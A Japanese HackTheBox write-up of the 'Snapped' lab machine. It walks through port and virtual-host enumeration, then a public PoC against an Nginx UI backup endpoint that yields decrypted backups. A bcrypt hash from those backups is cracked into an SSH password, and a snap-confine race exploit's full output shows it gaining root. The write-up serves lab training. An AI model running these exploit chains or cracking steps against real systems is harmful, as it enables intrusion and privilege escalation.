はじめに
こんにちは! 今回はHackTheBoxよりSnappedを解かせて頂きましたので
そのWriteupを公開したいと思います!
マシンの概要
名前 : Snapped
難易度 : Hard
コミュニティレベル : Medium
OS : Linux
ポートスキャン
nmapを使用してポートスキャンを行います!
sudo nmap -sV -sC -p- -Pn -n --open 10.129.212.153 -oN ports.txt
Nmap scan report for 10.129.212.153
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_ 256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://snapped.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 12 08:29:37 2026 -- 1 IP address (1 host up) scanned in 97.20 seconds
22ポートにて、openSSHのバージョン9.6p1に関する脆弱性CVE-2024-6387の情報が公開されていました!
https://github.com/sxlmnwb/CVE-2024-6387
こちらで公開されているPoCを試しましたが結果は上手くいきませんでした!
恐らくこちらは正規のルートではないと踏み、まずは80ポートに進みましょう!
80ポート
ブラウザにてIPアドレスを入力したところ、snapped.htbのドメイン名が表示されました!
こちらを/etc/hostsに追加します!
10.129.212.153 snapped.htb
その後、ブラウザーのアドレス欄にてsnapped.htbを入力するとサイトが正常に表示された!

ここはどうやらオーケストレータを管理するプラットフォームのようです!
ここでは特に気になるものは見つからなかったため、別の方法から列挙を行っていきましょう!
ディレクトリー列挙
今回はGobusterを使用しました!
┌──(kali㉿kali)-[~/htb/boxes/Snapped]
└─$ gobuster dir -u http://snapped.htb -w /usr/share/wordlists/dirb/common.txt -t 80
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://snapped.htb
[+] Method: GET
[+] Threads: 80
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html (Status: 200) [Size: 20199]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
しかしなにもなかった!
バーチャルホスト
こちらはffufを使用します!
ffuf -u http://snapped.htb -H 'Host: FUZZ.snapped.htb' -w /usr/share/wordlists/dirb/common.txt
上記コマンド使用時に結果が大量に表示されるので、-fsオプションを使用して同サイズの結果をフィルターにかけましょう!
┌──(kali㉿kali)-[~/htb/boxes/Snapped]
└─$ ffuf -u http://snapped.htb -H 'Host: FUZZ.snapped.htb' -w /usr/share/wordlists/dirb/common.txt -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://snapped.htb
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Header : Host: FUZZ.snapped.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
admin [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 248ms]
Admin [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 248ms]
ADMIN [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 254ms]
:: Progress: [4614/4614] :: Job [1/1] :: 160 req/sec :: Duration: [0:00:29] :: Errors: 0 ::
admin.snapped.htbの存在を確認することが出来ました!
では/etc/hostsに追加しましょう!
10.129.212.153 snapped.htb admin.snapped.htb
そしてブラウザにてadmin.snapped.htbを入力すると...?
Nginx UIの画面にたどり着きました!
ここでもう一度ディレクトリ列挙をしてみましょう!
┌──(kali㉿kali)-[~/htb/boxes/Snapped]
└─$ gobuster dir -u http://admin.snapped.htb -w /opt/SecLists/Discovery/Web-Content/common.txt -t 80
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://admin.snapped.htb
[+] Method: GET
[+] Threads: 80
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
assets (Status: 301) [Size: 0] [--> assets/]
favicon.ico (Status: 200) [Size: 67646]
index.html (Status: 301) [Size: 0] [--> ./]
mcp (Status: 403) [Size: 34]
robots.txt (Status: 200) [Size: 26]
version.json (Status: 200) [Size: 50]
mcp (Status: 403) [Size: 34]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================
ここから色々見え回りましたが、version.json以外では特に気になるものはありませんでした!
version.jsonの中身はこちらです!
Nginx UIのバージョンのようにみえます!このバージョンで脆弱性情報を探したところ
CVE-2026-27944を見つけました!
どうやら/api/backupへの認証不備によりシステムのバックファイルとその復号に必要な鍵が入手出来るという内容だそうです!
CVE-2026-27944に掲載されているPoCを使用して復号されたバックアップファイルを入手しましょう!
(仮想環境のなかで実行しましょう!)
┌──(myvenv)─(kali㉿kali)-[~/htb/boxes/Snapped]
└─$ python3 exp.py --target http://admin.snapped.htb --decrypt
X-Backup-Security: ALtOOqqLrf/wZGXetzfbpoVFy44cPAgkRLS9YSJMsk0=:HSJ3fYuc/oYrXoSDGyljPA==
Parsed AES-256 key: ALtOOqqLrf/wZGXetzfbpoVFy44cPAgkRLS9YSJMsk0=
Parsed AES IV : HSJ3fYuc/oYrXoSDGyljPA==
[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
→ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
→ Saved to backup_extracted/nginx-ui_decrypted.zip (7688 bytes)
→ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
→ Saved to backup_extracted/nginx_decrypted.zip (9936 bytes)
→ Extracted 22 files to backup_extracted/nginx
[*] Hash info:
nginx-ui_hash: 859ba7398d125e7314479d0bc32dbed5770911327ea084e5036fede5c3ad645c
nginx_hash: 89c91140b8fb692065fcca01572295174a1a95a45d83c427e3fda3322ab4f379
timestamp: 20260412-151532
version: 2.3.2
┌──(myvenv)─(kali㉿kali)-[~/htb/boxes/Snapped]
└─$ python3 exp.py --target http://admin.snapped.htb --decrypt
X-Backup-Security: ALtOOqqLrf/wZGXetzfbpoVFy44cPAgkRLS9YSJMsk0=:HSJ3fYuc/oYrXoSDGyljPA==
Parsed AES-256 key: ALtOOqqLrf/wZGXetzfbpoVFy44cPAgkRLS9YSJMsk0=
Parsed AES IV : HSJ3fYuc/oYrXoSDGyljPA==
[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
→ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
→ Saved to backup_extracted/nginx-ui_decrypted.zip (7688 bytes)
→ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
→ Saved to backup_extracted/nginx_decrypted.zip (9936 bytes)
→ Extracted 22 files to backup_extracted/nginx
[*] Hash info:
nginx-ui_hash: 859ba7398d125e7314479d0bc32dbed5770911327ea084e5036fede5c3ad645c
nginx_hash: 89c91140b8fb692065fcca01572295174a1a95a45d83c427e3fda3322ab4f379
timestamp: 20260412-151532
version: 2.3.2
復号化したファイルを探索していくと、気になるファイルdatabase.dbを見つけました!
┌──(myvenv)─(kali㉿kali)-[~/htb/boxes/Snapped]
└─$ cd backup_extracted
┌──(myvenv)─(kali㉿kali)-[~/htb/boxes/Snapped/backup_extracted]
└─$ ls
hash_info.txt nginx nginx-ui nginx-ui.zip
hash_info.txt.decrypted nginx_decrypted.zip nginx-ui_decrypted.zip nginx.zip
┌──(myvenv)─(kali㉿kali)-[~/htb/boxes/Snapped/backup_extracted]
└─$ cd nginx-ui
┌──(myvenv)─(kali㉿kali)-[~/…/boxes/Snapped/backup_extracted/nginx-ui]
└─$ ls
app.ini database.db
資格情報
sqlite3で探索しましょう!
sqlite3 database.db .dump
以下の行を見つけました!
INSERT INTO users VALUES(2,'2026-03-19 09:54:01.989628406-04:00','2026-03-19 09:54:01.989628406-04:00',NULL,'jonathan','$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq',1,NULL,',��զ�H�։��e)5U��Z�KĦ"D���W','en');
ユーザー名jonathanとハッシュ値がありました!ハッシュをhash.txtに入れてクラックしましょう!
┌──(kali㉿kali)-[~/htb/boxes/Snapped]
└─$ john hash.txt --wordlist=~/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
linkinpark (?)
1g 0:00:00:01 DONE (2026-04-12 09:29) 0.5208g/s 262.5p/s 262.5c/s 262.5C/s pasaway..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ユーザ名:jonathan
パスワード:linkinpark
SSH
こちらを使用してSSHでアクセスを試みましょう!
見事アクセス出来ました!
ホームディレクトリにてuser.txt発見!
jonathan@snapped:~$ cat user.txt
9a68c4d81efd316f96c0f2ec215e4bc8
権限昇格
裏で動いているサービスを列挙します!
systemctl list-units --type=service --state=running 2>/dev/null
jonathan@snapped:~$ systemctl list-units --type=service --state=running 2>/dev/null
UNIT LOAD ACTIVE SUB DESCRIPTION
accounts-daemon.service loaded active running Accounts Service
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
colord.service loaded active running Manage, Install and Generate Color Profi…
cron.service loaded active running Regular background program processing da…
cups-browsed.service loaded active running Make remote CUPS printers available loca…
cups.service loaded active running CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
fwupd.service loaded active running Firmware update daemon
gdm.service loaded active running GNOME Display Manager
gnome-remote-desktop.service loaded active running GNOME Remote Desktop
kerneloops.service loaded active running Tool to automatically collect and submit…
ModemManager.service loaded active running Modem Manager
NetworkManager.service loaded active running Network Manager
nginx-ui.service loaded active running nginx-ui
nginx.service loaded active running A high performance web server and a reve…
open-vm-tools.service loaded active running Service for virtual machines hosted on V…
polkit.service loaded active running Authorization Manager
power-profiles-daemon.service loaded active running Power Profiles daemon
rsyslog.service loaded active running System Logging Service
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy Service
snapd.service loaded active running Snap Daemon
ssh.service loaded active running OpenBSD Secure Shell server
switcheroo-control.service loaded active running Switcheroo Control Proxy service
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running User Login Management
systemd-oomd.service loaded active running Userspace Out-Of-Memory (OOM) Killer
systemd-resolved.service loaded active running Network Name Resolution
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-udevd.service loaded active running Rule-based Manager for Device Events and…
ubuntu-advantage-desktop-daemon.service loaded active running Desktop service for Ubuntu Advantage
udisks2.service loaded active running Disk Manager
upower.service loaded active running Daemon for power management
user@1000.service loaded active running User Manager for UID 1000
user@120.service loaded active running User Manager for UID 120
vgauth.service loaded active running Authentication service for virtual machi…
wpa_supplicant.service loaded active running WPA supplicant
Legend: LOAD → Reflects whether the unit definition was properly loaded.
ACTIVE → The high-level unit activation state, i.e. generalization of SUB.
SUB → The low-level unit activation state, values depend on unit type.
36 loaded units listed.
snapが動作しているのを確認しました!このマシン名と同じ名前ですが、バージョン情報を確認してみましょう!
jonathan@snapped:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
snapのバージョン情報で脆弱性情報を探したところ、CVE-2026-3888を発見しました!
CVE-2026-3888で公開されているPoCを利用してローカル権限昇格が可能だそうです!やってみましょう!
jonathan@snapped:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 90006
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
id
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_shtiHq//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/90006/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 90371)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: jonathan:jonathan 755
[+] Poisoned namespace PID: 90371
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1#
bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
見事!root権限へと昇格することに成功しました!
bash-5.1# cat root.txt
e057e6de333e83d940997e402a2d1f77



